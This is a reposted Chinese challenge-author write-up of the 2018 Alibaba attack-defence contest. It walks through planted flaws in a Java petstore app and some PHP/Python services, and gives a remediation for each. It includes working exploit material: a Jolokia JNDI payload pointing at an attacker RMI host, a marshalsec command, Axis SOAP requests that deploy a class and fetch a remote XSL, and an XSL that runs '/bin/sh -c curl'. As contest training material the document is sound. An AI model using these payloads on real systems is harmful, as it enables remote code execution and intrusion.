WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛

栏目: 编程工具 · 发布时间: 6年前

内容简介:2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元

2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。

恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6 万元 奖金 (税前) ,f61d战队获得比赛第三名3 万元 奖金 (税前)

恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元 奖金 奖金 (税前)

恭喜ChaMd5/f61d/kn0ck战队的队员分别获得最佳攻防个人奖励及1万元 奖金 (税前)

(相关的奖金发放和证书邮寄下周将全部完成)

赛后有不少选手希望有本次比赛的WriteUp,所以我们让出题小哥哥写了一个出题者版本供大家参考。阿里出的题,必然是 java 居多啦。

本次比赛共分三场,第一场php+java,第二场python+java,第三场php+java。

在此放出 WriteUp 供相关队员参考:

第一场

PHP 题目

1.ImageMagic 命令注入(CVE-2016–3714)

很经典的漏洞,姿势网上有很多,就不在这里占篇幅了。

Java 题目

1.Jolokia JNDI 注入CVE-2018-1000130

在web.xml可以看到如下片段,使用了jolokia作为JMX的环境

< servlet >

< servlet-name > jolokia-agent </ servlet-name >

< servlet-class > org.jolokia.http.AgentServlet </ servlet-class >

< init-param >

< param-name > mimeType </ param-name >

< param-value > application/json </ param-value >

</ init-param >

< load-on-startup > 1 </ load-on-startup >

</ servlet >

< servlet-mapping >

< servlet-name > jolokia-agent </ servlet-name >

< url-pattern > /jolokia/* </ url-pattern >

</ servlet-mapping >

漏洞的利用可以参考下

https://xz.aliyun.com/t/2294

这篇文章,不过建议使用rmi协议而不是ldap协议,poc改成下面的,加上现场环境特意没有使用高版本的JDK,这样直接就能用 marshalsec 的构建好的jndi服务器指向下载的class内容

{

"type" : "read" ,

"mbean" : "java.lang:type=Memory" ,

"target" : {

"url" : "service:jmx:rmi:///jndi/rmi://123.123.123.123:1099/jmxrmi"

}

}

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://yourserverip:port/#classname 1099

修复方法

把jolokia在web.xml的引用给注释掉,或者升级到最新的版本编译。

2.Json 反序列化漏洞

代码位于com.alibaba.sample.petstore.web.store.module.screen.SearchProduct

public void execute (@Param( "info" ) String info , Context context , HttpServletRequest req ) throws Exception  {

if ( req . getContentType (). contains ( "json" )){

JSONObject jo = JSON . parseObject ( req . getInputStream (), com . alibaba . fastjson . JSONObject . class );

info = jo . getString ( "info" );

}

List < Product > products  = productDao . searchProductsByKeywords ( info );

context . put ( "products" , products );

}

在提交搜索的位置抓包,将ContentType改成application/json即可用json的形式提交搜索,这里使用了低版本的fastjson的包,存在反序列化漏洞能够直接获取服务器权限。

< dependency >

< groupId > com.alibaba </ groupId >

< artifactId > fastjson </ artifactId >

< version > 1.2.15 </ version >

</ dependency >

利用姿势可以参考 https://github.com/shengqi158/fastjson-remote-code-execute-poc

修复方法

可以更改pom文件使用最新的fastjson并重新编译发布。

3.SQL 注入漏洞

在搜索处抓包即可,参数info存在 SQL 注入,可以获取数据库内的flag。为了贴近真实环境,所有场次每个team所使用的数据库都是只能由这个team的应用服务器连接,即使获取到了数据库的凭据也不能在本地连接。

修复方法

找到对应的sqlmap(不是跑注入的那个)文件petstore/dal/src/main/resources/petstore/dal/sqlmap/Product.xml,将$改成#即可。

4.Java 反序列化漏洞

所有Java题目用到的框架经过配置,session信息是存在cookie里的,cookie的内容经过压缩和加密(可选)并序列化后的session对象。可以参考com.alibaba.citrus.service.requestcontext.session.encoder.AbstractSerializationEncoder的encode方法手工对cookie进行加密。

/**  编码。 */

public String  encode ( Map < String , Object > attrs , StoreContext storeContext ) throws SessionEncoderException  {

ByteArrayOutputStream baos  = new ByteArrayOutputStream ();

// 1.  序列化

// 2.  压缩

Deflater def  = new Deflater ( Deflater . BEST_COMPRESSION , false );

DeflaterOutputStream dos  = new DeflaterOutputStream ( baos , def );

try {

serializer . serialize ( assertNotNull ( attrs , "objectToEncode is null" ), dos );

} catch ( Exception e ) {

throw new SessionEncoderException ( "Failed to encode session state" , e );

} finally {

try {

dos . close ();

} catch ( IOException e ) {

}

def . end ();

}

byte [] plaintext  = baos . toByteArray (). toByteArray ();

// 3.  加密

byte [] cryptotext  = encrypt ( plaintext );

// 4. base64 编码

try {

String encodedValue  = new String ( Base64 . encodeBase64 ( cryptotext , false ), "ISO-8859-1" );

return URLEncoder . encode ( encodedValue , "ISO-8859-1" );

} catch ( UnsupportedEncodingException e ) {

throw new SessionEncoderException ( "Failed to encode session state" , e );

}

}

/**  加密。 */

private byte [] encrypt ( byte [] plaintext ) throws SessionEncoderException  {

if ( encrypter  != null ) {

return encrypter . encrypt ( plaintext );

}

return plaintext ;

}

默认是Hessian协议的序列化方式,但是考虑到这个协议的序列化漏洞利用姿势比较小众,特地在配置文件中修改成了Java的序列化,所以使用com.alibaba.citrus.service.requestcontext.session.serializer.impl.JavaSerializer即可。对应的配置文件内容:

< request-contexts:session  forceExpirationPeriod =" 14400 ">

< stores >

< session-stores:cookie-store id =" temporaryCookie ">

< cookie  name =" tmp " />

< encoders >

< session-encoders:serialization-encoder >

< session-serializers:java-serializer />

<!--<session-encrypters:aes-encrypter key="0123456789abcdef" />-->

</ session-encoders:serialization-encoder >

</ encoders >

</ session-stores:cookie-store >

</ stores >

< store-mappings >

< match  name =" * " store =" temporaryCookie " />

</ store-mappings >

< interceptors >

< session-interceptors:lifecycle-logger />

< session-interceptors:attribute-whitelist >

< attribute  name =" _csrf_token " />

< attribute  name =" _lang " />

< attribute  name =" petstoreUser " type =" com.alibaba.sample.petstore.web.common.PetstoreUser " />

< attribute  name =" petstoreCart " type =" com.alibaba.sample.petstore.dal.dataobject.Cart " />

</ session-interceptors:attribute-whitelist >

</ interceptors >

</ request-contexts:session >

本场次没有进行加密,后面对两个场次对cookie对中的内容进行了加密处理,用com.alibaba.citrus.service.requestcontext.session.encrypter.impl.AesEncrypter进行加密即可。

修复方法

配置文件的注释中有设置加密key的方法,把注释去掉随机生成一个长度16的key即可。

场次二

Python 题目

1.Flask 模板注入漏洞

也是非常经典,在此不再详细介绍。

Java 题目

1.XMLDecoder 反序列化漏洞

和weblogic的那个漏洞原理一致,位于webservice中。可以通过访问http://ip:80/contest2/services/StoreManagerWebServiceXML?wsdl通过各种 工具 解析wsdl文件来获取调用的接口,触发点为getCartItems方法中xmlstr字段。

修复方法

可以把这个接口删除,在/WEB-INF/server-config.wsdd注释掉即可,不影响其他业务。

2.Json 反序列化漏洞黑名单绕过

漏洞点同样位于webservice内,可以通过访问http://ip:80/contest2/services/StoreManagerWebService?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中cartjsonstr字段。

可以参考下面文章的绕过姿势

https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/src/main/java/person/OtherPoC.java

使用的fastjson版本是1.2.42的,同样为了方便漏洞的利用,特意打开了autotype的开关

ParserConfig . getGlobalInstance (). setAutoTypeSupport ( true ); // 一般都不开

修复方法

可以更改pom文件使用最新的fastjson并重新编译发布。

3.Java 反序列化漏洞

可以参考第一场次,默认所有场次的加密key都是0123456789abcdef,

修复方法

可以参考场次一的修复方案。

4.Java JDWP 调试端口远程开放

默认的tomcat启动参数是开启了调试的,所以可以通过这个漏洞直接获取主机权限。

利用工具可以参考 https://github.com/IOActive/jdwp-shellifier

修复方法

在启动脚本:

catalina.sh jpda start 改为catalina.sh start即可

其他题目

SSH 弱口令admin:admin123

场次三

PHP 题目

Drupal Drupalgeddon2 (CVE-2018-7600) 

今年新出的漏洞,比较火,可以参考 https://xz.aliyun.com/t/2312

PHP-FPM 未授权访问

设置php-fpm服务的时候监听了0.0.0.0,白名单是选手应用服务器所在的网段

可以参考 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Java 题目

1.WebService 任意部署漏洞

这个漏洞出的不是很好,因为漏洞比较老,可能大部分人都没有见过。

通过访问http://ip:80/contest3/services/AdminService?wsdl通过各种工具解析wsdl文件来获取调用的接口,通过部署任意类为一个webservice方法的形式来执行命令。数据包如下

POST /contest3/services/AdminService HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

SOAPAction: something

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

Content-Length: 799

<?xml version="1.0" encoding="utf-8"?>

< soapenv:Envelope  xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance "

xmlns:xsd =" http://www.w3.org/2001/XMLSchema "

xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ ">

< soapenv:Body >

< ns1:deployment

xmlns =" http://xml.apache.org/axis/wsdd/ "

xmlns:java =" http://xml.apache.org/axis/wsdd/providers/java "

xmlns:ns1 =" http://xml.apache.org/axis/wsdd/ ">

< ns1:service  name =" TestService " provider =" java:RPC ">

< ns1:parameter  name =" className " value =" com.sun.org.apache.xalan.internal.xslt.Process "/>

< ns1:parameter  name =" allowedMethods " value =" * "/>

</ ns1:service >

</ ns1:deployment >

</ soapenv:Body >

</ soapenv:Envelope >

会部署一个名为TestService的接口,实现类是com.sun.org.apache.xalan.internal.xslt.Process,其中的_main(String[])方法会在满足特定条件时会去远程加载一个xsl文件造成xslt注入导致命令执行。

POST /contest3/services/TestService HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

SOAPAction: something

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

Content-Length: 799

< soapenv:Envelope  xmlns:xsi =" http://www.w3.org/2001/XMLSchema-instance " xmlns:xsd =" http://www.w3.org/2001/XMLSchema " xmlns:soapenv =" http://schemas.xmlsoap.org/soap/envelope/ " xmlns:xslt =" http://xslt.internal.xalan.apache.org.sun.com " xmlns:soapenc =" http://schemas.xmlsoap.org/soap/encoding/ ">

< soapenv:Header />

< soapenv:Body >

< xslt:_main  soapenv:encodingStyle =" http : //schemas.xmlsoap.org/soap/encoding/ ">

< argv  xsi:type =" xst:ArrayOf_xsd_string " soapenc:arrayType =" xsd:string[] " xmlns:xst =" http://127.0.0.1:8080/contest3/services/TestService ">

< cmd  xsi:type =" soapenc:string "> -xsl </ cmd >

< cmd  xsi:type =" soapenc:string "> http://123.123.123.123/cmd.xsl </ cmd >

</ argv >

</ xslt:_main >

</ soapenv:Body >

</ soapenv:Envelope >

cmd.xsl 如下

<?xml version="1.0"?>

< xsl:stylesheet  exclude-result-prefixes =" java " version =" 1.0 "

xmlns:bufferedreader =" xalan://java.io.BufferedReader "

xmlns:inputstreamreader =" xalan://java.io.InputStreamReader "

xmlns:java =" http://xml.apache.org/xalan/java "

xmlns:runtime =" xalan://java.lang.Runtime "

xmlns:str =" xalan://java.lang.String "

xmlns:xsl =" http://www.w3.org/1999/XSL/Transform ">

< xsl:variable  name =" runtime " select =" runtime:getRuntime() "/>

< xsl:template  match =" / ">

< xsl:variable  name =" command "> /bin/sh,-c,curl 10.233.66.66 -I </ xsl:variable >

< xsl:variable  name =" arguments " select =" str:split(str:new($command), ' , ' ) "/>

< xsl:value-of  select =" runtime:exec($runtime, $arguments) "/>

</ xsl:template >

</ xsl:stylesheet >

修复方法

在/WEB-INF/server-config.wsdd中将enableRemoteAdmin设置为false

2. 未授权访问漏洞

由于对该项目进行了部分的服务化改造,应用不再直接连接数据库获取信息,而是通过连接dubbo服务器的形式以RPC的形式获取。环境特意使用错误的配置将dubbo的接口对外开放,任何人都能够telnet过去执行任意接口,调用方法文档如下: http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html

数据flag放到了这个接口里,不过直接提交会出错,因为还经过了一次aes加密,在业务展示订单信息对应的方法com.alibaba.sample.petstore.web.store.module.screen.OrderList有展示:

public void execute ( Context context ) throws Exception  {

//System.out.println("call order list");

List < Order > orders = orderDao . getAllOrders ();

for ( Order o : orders ){

o . setStatus ( new String ( Aes . decryptString ( o . getStatus ())) );

}

context . put ( "orders" , orders );

}

所以找到指定数据后,调用Aes.decryptString(String)方法就可以获得flag了。

修复方法

修改iptables的入站规则,禁止20880端口访问。或者在配置文件中新增dubbo.protocol.host=127.0.0.1

阅读原文 ”至ASRC提交安全漏洞及情报

长按扫描关注ASRC,关注后续精彩活动!

↓↓↓↓↓↓↓↓↓↓↓↓↓

WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛


以上所述就是小编给大家介绍的《WriteUp - 2018中国网络安全技术对抗赛阿里安全攻防对抗赛》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

与孩子一起学编程

与孩子一起学编程

[美] 桑德Warren Sande、Carter Sande / 苏金国、姚曜 等 / 人民邮电出版社 / 2010-11 / 65.00元

一本老少咸宜的编程入门奇书!一册在手,你完全可以带着自己的孩子,跟随Sande父子组合在轻松的氛围中熟悉那些编程概念,如内存、循环、输入和输出、数据结构和图形用户界面等。这些知识一点儿也不高深,听起来备感亲切,书中言语幽默风趣而不失真义,让学习过程充满乐趣。细心的作者还配上了孩子们都喜欢的可爱漫画和经过运行测试的程序示例,教你用最易编写和最易理解的Python语言,写出你梦想中的游戏程序。 ......一起来看看 《与孩子一起学编程》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

随机密码生成器
随机密码生成器

多种字符组合密码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具